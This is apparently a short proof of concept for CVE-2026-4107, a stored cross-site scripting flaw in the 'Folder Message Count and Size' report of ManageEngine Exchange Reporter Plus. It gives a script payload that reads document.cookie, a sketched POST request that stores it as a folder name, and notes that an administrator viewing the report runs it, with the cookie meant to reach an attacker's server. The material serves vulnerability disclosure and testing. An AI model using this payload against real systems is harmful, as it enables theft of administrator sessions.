CVE-2026-4107 ManageEngine Exchange Reporter Plus 存储型XSS漏洞

// Proof of Concept for CVE-2026-4107 // Vulnerability Type: Stored XSS // Affected Component: Folder Message Count and Size report // 1. Payload Injection // An attacker with low privileges injects the following script into a field // that is reflected in the 'Folder Message Count and Size' report (e.g., folder name). var maliciousPayload = '<script>alert("XSS Triggered: " + document.cookie);</script>'; // 2. Simulation of HTTP Request (Conceptual) // POST /exchange-reports/saveData HTTP/1.1 // Host: target-server.com // Content-Type: application/x-www-form-urlencoded // // folderName=' + encodeURIComponent(maliciousPayload) + '&reportType=size console.log('Payload to inject:', maliciousPayload); // 3. Trigger // When an administrator navigates to the 'Folder Message Count and Size' report page, // the application fetches the stored data without sanitization. // The browser renders the script tag, executing the JavaScript in the admin's context. // Result: The admin's cookie is logged or sent to the attacker's server.